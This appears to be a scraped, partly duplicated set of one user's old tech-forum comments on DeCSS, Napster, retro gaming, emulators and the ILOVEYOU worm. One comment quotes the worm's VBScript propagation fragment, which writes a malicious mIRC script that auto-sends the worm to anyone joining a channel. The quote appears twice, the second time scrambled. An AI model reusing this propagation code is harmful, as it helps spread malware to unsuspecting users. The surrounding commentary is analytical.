erm, I know I'm only a brit, but I have read the first ammendment.
As far as I can tell, there was a distinction made between individuals and the press.
The press would be an organisation and individuals would be, well, individual.
hehe, I am in Coventry, just down the road from Birmingham, and we've got DSL:)
Trouble is to get connected, you've got to wait up to 8 weeks for an engineer to come out and install. It's a hundred quid all-in, and nice;)
BTW if you are into retro-gaming/vintage video game systems then Birmingham market is the place to go. I picked up a big pile (50+) VCS2600 carts for 20 quid the other week. Gotta love that TIA chip;)
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2. A geek with a strange sense of humour with a slight smell of urine.
maybe the case should be refered to Secretary of Education (Richard Pryor) and the secretary of fine arts (Stevie Wonder):) hehe, couldn't resist it. LollypopMan --- feet don't fail me now...
The article infers that certain search engines are either owned, or controlled by MPAA members. They don't meed to close the engines down. They own them.
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"If you now went to the Disney Infoseek site, you would find references to DeCSS -- you would get through that site the exact thing that Disney's trying to stop in this suit. You would find that the search engines that are owned by these very plaintiffs do exactly the same thing that they're trying to stop. They link. What the MPAA is doing is trying to stop certain people from linking."
What this means, effectively, is that the search engines will be the only legal source of links to the DeCSS source. It is then only a trivial matter to track down the posters, and throw them to the lawyers.
Ultimately, DeCSS will be sent underground, and that could possibly strengthen the MPAA's argument that DeCSS is a tool of piracy (Oh look, they're hiding behind handles on secret undernet channels. They must be 31337 pir8ez.)
Just my tuppence worth. (Yep, I'm a tea drinker!)
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Although the story is about NetZip, I have a feeling that Realplayer tracks you as well.
Basically I visited one or two pr0n sites (yeah I know, I was bored:) and now the player is offering me swimsuit videos if I upgrage. Is it a coincidence? I might just run a packet sniffer and see...
MAM - Access Macro LOL... they've blocked MDB - Access DB File, which as far as I'm aware (Flame on if I'm wrong) doesn't execute a thing, unless you explicitly run a query, or open a form or such.
Ahh, But it does propogate via mIRC, here's the offending lines
if (eqfolderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\script.i ni") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1=/if ( $nick == $me ) { halt }" scriptini.WriteLine "n2=/.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if
It doesn't send the mp2/3 files, That might just be for windows media player or something. It sends itself as an html file.
It's not your standard IE VBScript, It's Windows Script, which is slightly different. It's basically a shell script that can do pretty much anything on a windoze box, and the script engine is stupidly integrated into Outlook. And as for it looking a bit like melissa, well it's payload might be the same as melissa, it's delivery system was more like KaK.
Also, interestingly, it seems to download a file by setting the IE start page to point to an exe, attempts to infect on IRC as a script... the list goes on. It looks like every vulnerability of the scripting platform is highlighted here. Hmm, Rootkit anyone...I'll analyze some more and post my findings...
LollypopMan, Coming directly from the mothership. It's a P Thang:)
Speaking also as a diehard Metallica fan (I've just about forgiven them for the black album, lpopman: hangs his head in shame and sighs) I must say that I'm all for an artist defending their rights. At the end of the day, Napster should have enforced its AUP just like Geocities, Xoom and all the other PUBLICALLY available network providers (Napster surely falls into that category). Gnutella on the other hand...:)
I just think that they were just trying to get Napster to enforce it's policies. They were a bit heavy handed though.
IMHO Lars was not the best spokesman as he has been quite public about the fact that he traded tapes and how the music he traded was a heavy influence on their music. Isn't this what MP3 is supposed to be about, the freedom of music?
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erm, I know I'm only a brit, but I have read the first ammendment. As far as I can tell, there was a distinction made between individuals and the press. The press would be an organisation and individuals would be, well, individual.
There's always xmame/xmess ;)
;)
http://x.mame.net/
Oh, and here's a link to the official mess site here http://mess.emuverse.com
Oh, and for all you DOS'sers, MESS 37beta8 is well on it's way, with a few little surprises in store
lpopman
hehe, I am in Coventry, just down the road from Birmingham, and we've got DSL :)
;)
;)
Trouble is to get connected, you've got to wait up to 8 weeks for an engineer to come out and install. It's a hundred quid all-in, and nice
BTW if you are into retro-gaming/vintage video game systems then Birmingham market is the place to go. I picked up a big pile (50+) VCS2600 carts for 20 quid the other week. Gotta love that TIA chip
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2. A geek with a strange sense of humour with a slight smell of urine.
 3. Bringer of the funk.
http://mess.emuverse.com is a very nice place to visit for that warm and fuzzy feeling
Are the moderators on crack or something?
:)
:)
Oh, this is slashdot. Of course they are
A post that preaches security through obscurity and it gets (Score:3 Insightful)...
I dunno
maybe the case should be refered to Secretary of Education (Richard Pryor) and the secretary of fine arts (Stevie Wonder) :) hehe, couldn't resist it. LollypopMan --- feet don't fail me now...
The article infers that certain search engines are either owned, or controlled by MPAA members. They don't meed to close the engines down. They own them.
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No. Ultimately, the injunctions will be lifted and DeCSS will be freely available and publishable.
The damage will be done when they get an interim injunction, while they "gather evidence".
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"If you now went to the Disney Infoseek site, you would find references to DeCSS -- you would get through that site the exact thing that Disney's trying to stop in this suit. You would find that the search engines that are owned by these very plaintiffs do exactly the same thing that they're trying to stop. They link. What the MPAA is doing is trying to stop certain people from linking."
What this means, effectively, is that the search engines will be the only legal source of links to the DeCSS source. It is then only a trivial matter to track down the posters, and throw them to the lawyers.
Ultimately, DeCSS will be sent underground, and that could possibly strengthen the MPAA's argument that DeCSS is a tool of piracy (Oh look, they're hiding behind handles on secret undernet channels. They must be 31337 pir8ez.)
Just my tuppence worth. (Yep, I'm a tea drinker!)
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Although the story is about NetZip, I have a feeling that Realplayer tracks you as well.
:) and now the player is offering me swimsuit videos if I upgrage. Is it a coincidence? I might just run a packet sniffer and see...
Basically I visited one or two pr0n sites (yeah I know, I was bored
MAM - Access Macro
LOL... they've blocked MDB - Access DB File, which as far as I'm aware (Flame on if I'm wrong) doesn't execute a thing, unless you explicitly run a query, or open a form or such.
Hmm, First Post Race! K0oL!
:)
<pants>Hot Grits</pants>
Imagine that society is a bra, and Natalie Portman is a pair or breasts. Can you imagine a society without breasts?
I guess I'm doubly redundant
Ahh, But it does propogate via mIRC, here's the offending lines
i ni") /if ( $nick == $me ) { halt }" /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
if (eqfolderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1=
scriptini.WriteLine "n2=
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
It doesn't send the mp2/3 files, That might just be for windows media player or something. It sends itself as an html file.
LollypopMan.
It's not your standard IE VBScript, It's Windows Script, which is slightly different. It's basically a shell script that can do pretty much anything on a windoze box, and the script engine is stupidly integrated into Outlook. And as for it looking a bit like melissa, well it's payload might be the same as melissa, it's delivery system was more like KaK.
:)
Also, interestingly, it seems to download a file by setting the IE start page to point to an exe, attempts to infect on IRC as a script... the list goes on. It looks like every vulnerability of the scripting platform is highlighted here. Hmm, Rootkit anyone...I'll analyze some more and post my findings...
LollypopMan, Coming directly from the mothership. It's a P Thang
Good day to be alive sir! :)
... :)
Speaking also as a diehard Metallica fan (I've just about forgiven them for the black album, lpopman: hangs his head in shame and sighs)
I must say that I'm all for an artist defending their rights. At the end of the day, Napster should have enforced its AUP just like Geocities, Xoom and all the other PUBLICALLY available network providers (Napster surely falls into that category). Gnutella on the other hand
I just think that they were just trying to get Napster to enforce it's policies. They were a bit heavy handed though.
IMHO Lars was not the best spokesman as he has been quite public about the fact that he traded tapes and how the music he traded was a heavy influence on their music. Isn't this what MP3 is supposed to be about, the freedom of music?